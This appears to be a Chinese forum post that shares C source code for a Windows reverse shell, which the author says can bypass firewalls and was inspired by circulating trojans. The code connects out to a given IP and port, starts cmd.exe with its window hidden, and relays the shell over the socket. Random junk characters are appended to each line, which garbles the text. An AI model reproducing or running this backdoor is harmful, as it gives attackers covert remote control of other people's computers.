这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?Z/V~,
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/* ============================== /y}xX
Rebound port in Windows NT vA8nvoi
By wind,2006/7 !%c\N8<>GD
===============================*/ )jP1or
#include Yc?*dUV
#include e(t\g^X
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#pragma comment(lib,"wsock32.lib") '~=SzO
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void OutputShell(); 4|DWOQ':
SOCKET sClient; (O3nL.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2P0*NQ
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void main(int argc,char **argv) @\#td5'
{ /PIcqg
WSADATA stWsaData; Gyc]?m
int nRet; (f"4,b^]
SOCKADDR_IN stSaiClient,stSaiServer; (*iHf"=\
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if(argc != 3) `[i r}+S
{ MQ6KN(?\ZL
printf("Useage:\n\rRebound DestIP DestPort\n"); MQ8J<A Pf-
return; $ddCTS^
} $xN|5;+
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WSAStartup(MAKEWORD(2,2),&stWsaData); &D*b|ilvc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wf<M)Rs|
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stSaiClient.sin_family = AF_INET; KbeC"mi
stSaiClient.sin_port = htons(0); Qvhl4-XjZa
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H/M@t\$Dc
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Pd Wx|y{%
{ /j.9$H'y
printf("Bind Socket Failed!\n"); >4CbwwMA
return; Q\Vgl(;lX
} gg2(5FPP
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stSaiServer.sin_family = AF_INET; 4o[{>gW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sfl<qD+?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \'O"~W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z7Hbj!d/Sz
{ =T7.~W
printf("Connect Error!"); 0o&5]lEe
return; oEpFuWp%A
} VI*$em O0
OutputShell(); GZIa4A
} }O
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void OutputShell() X^j fuA
{ Xsa].
char szBuff[1024]; cw
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SECURITY_ATTRIBUTES stSecurityAttributes; 3=oDQ&UFt
OSVERSIONINFO stOsversionInfo; Jln:`!#fDf
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jnwu9PQ
STARTUPINFO stStartupInfo; o ^uA">GH
char *szShell; ^U/O!GK
PROCESS_INFORMATION stProcessInformation; YGNP53CU
unsigned long lBytesRead; N8df8=.kw
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rYk0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A@#E@;lm
stSecurityAttributes.lpSecurityDescriptor = 0; G' 1'/
stSecurityAttributes.bInheritHandle = TRUE; =Dj#gV
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TWX.D`W
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =?8@#]G+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ftSW
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f
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stStartupInfo.wShowWindow = SW_HIDE; Zv{'MIv&v
stStartupInfo.hStdInput = hReadPipe; /PKN LK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #KvlYZ+1
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GetVersionEx(&stOsversionInfo); Dw"\/p:-3
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switch(stOsversionInfo.dwPlatformId) 8eRLy/`gd
{ #O&8A
case 1: kq-) ^,{y
szShell = "command.com"; t6t!t*jO
break; 7d\QB(~
default: K(|}dl:
szShell = "cmd.exe"; C,eu9wOT
break; lU]nd[x
} 7t3!)a|lI
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); # f\rt
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send(sClient,szMsg,77,0); n=q76W\
while(1) 7xR\kL.,
{ _#8MkW#]~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "J1
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if(lBytesRead) "r2 r
{ 2fS:-
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vih9KBT
send(sClient,szBuff,lBytesRead,0); ~VB1OLgv#.
} Dt1jW
else 5:?!=<=
{ J.%IfN
lBytesRead=recv(sClient,szBuff,1024,0); \{D"
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if(lBytesRead<=0) break; 7j{?aza
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ),!qTjD
} B-mowmJ3dg
} }-2|XD%]
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return; Y4YJJYvD
}